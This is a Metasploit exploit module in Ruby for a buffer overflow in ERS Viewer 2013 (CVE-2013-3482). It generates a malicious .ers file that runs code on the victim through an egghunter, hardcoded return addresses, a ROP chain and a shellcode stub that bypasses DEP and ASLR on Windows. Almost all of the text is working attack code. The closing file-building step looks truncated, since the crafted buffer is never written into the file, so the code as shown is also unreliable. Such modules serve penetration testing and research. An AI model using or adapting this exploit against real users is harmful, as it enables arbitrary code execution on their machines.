require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Egghunter
def initialize(info={})
super(update_info(info,
'Name' => "ERS Viewer 2013 ERS File Handling Buffer Overflow",
'Description'=> %q{
This module exploits a buffer overflow vulnerability found in ERS Viewer 2013.
The vulnerability exists in the module ermapper_u.dll, where the function
rf_report_error handles user provided data in a insecure way. It results in
arbitrary code execution under the context of the user viewing a specially crafted
.ers file. This module has been tested successfully with ERS Viewer 2013 (versions
13.0.0.1151) on Windows XP SP3 and Windows 7 SP1.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'James Fitts',
'juan vazquez'
],
'References' =>
[
[ 'CVE', '2013-3482' ],
[ 'OSVDB', '93650' ],
[ 'URL', 'http://secunia.com/advisories/53620/' ]
],
'Payload'=>
{
'Space'=> 4000,
'DisableNops' => true,
},
'DefaultOptions'=>
{
'ExitFunction' => "process",
},
'Platform' => 'win',
'Targets'=>
[
[ 'ERS Viewer 2013 13.0.0.1151 / NO DEP / NO ASLR',
{
'Offset' => 191,
'Ret' => 0x100329E9
}
],
[ 'ERS Viewer 2013 13.0.0.1151 / DEP & ASLR bypass',
{
'Offset' => 191,
'Ret' => 0x100E1152,
'RetNull' => 0x30d07f00,
'VirtualAllocPtr' => 0x1010c0f4
}
]
],
'Privileged' => false,
'DisclosureDate' => "May 23 2013",
'DefaultTarget'=> 1))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.','msf.ers']),
], self.class)
end
def create_rop_chain()
rop_gadgets =
[
0x10082624,
0x1010c0f4,
0x1001a9c0,
0x1005db36,
0x10105d87,
0xffffffff,
0x30d059d9,
0x30d059d9,
0x100e9dd9,
0xa2dbcf75,
0x1001aa04,
0x10016a98,
0x10086d21,
0x1001a148,
0x10082624,
0xffffffc0,
0x100f687d,
0x1001e720,
0x100288b5,
0x90909090,
0x100e69e0,
].flatten.pack("V*")
return rop_gadgets
end
def fix_stack
pivot = "\x64\xa1\x18\x00\x00\x00"
pivot << "\x83\xC0\x08"
pivot << "\x8b\x20"
pivot << "\x81\xC4\x30\xF8\xFF\xFF"
return pivot
end
def hunter_suffix(payload_length)
suffix = "\xB8\xC0\xFF\xFF\xFF"
suffix << "\xF7\xD8"
suffix << "\x50"
suffix << "\x66\x05\xC0\x2F"
suffix << "\x50"
suffix << "\x66\x2D\xFF\x1F"
suffix << "\x48"
suffix << "\x50"
suffix << "\xB8\x0C\x0C\x0C\x0C"
suffix << "\x50"
suffix << "\xFF\x15" + [target['VirtualAllocPtr']].pack("V")
suffix << "\x89\xFE"
suffix << "\x89\xC7"
suffix << "\x31\xC9"
suffix << "\x66\x81\xC1" + [payload_length].pack("v")
suffix << "\xF3\xA4"
suffix << "\xFF\xE0"
return suffix
end
def exploit
badchars = [0x0c, 0x0d, 0x0a].pack("C*")
eggoptions =
{
:checksum => true,
:eggtag => 'w00t'
}
my_payload = fix_stack + payload.encoded
if target.name =~ /DEP & ASLR bypass/
while [my_payload.length].pack("v").include?("\x00")
my_payload << rand_text(1)
end
end
hunter,egg = generate_egghunter(my_payload, badchars, eggoptions)
if target.name =~ /DEP & ASLR bypass/
hunter.gsub!(/\xff\xe7/, hunter_suffix(my_payload.length))
end
if target.name =~ /NO DEP/
buf = rand_text_alpha(1)
buf << (0x01..0x04).to_a.pack("C*")
buf << "AA"
buf << hunter
buf << rand_text_alpha(target['Offset'] - buf.length)
buf << [target.ret].pack("V")
buf << rand_text_alpha(8)
buf << egg
elsif target.name =~ /DEP & ASLR bypass/
buf = rand_text_alpha(1)
buf << (0x01..0x04).to_a.pack("C*")
buf << [target['RetNull']].pack("V")[1,3]
buf << create_rop_chain
buf << hunter
buf << rand_text_alpha(target['Offset'] - buf.length)
buf << [target.ret].pack("V")
buf << rand_text_alpha(8)
buf << egg
end
ers = %Q|
DatasetHeader Begin
|
file_create(ers)
end
end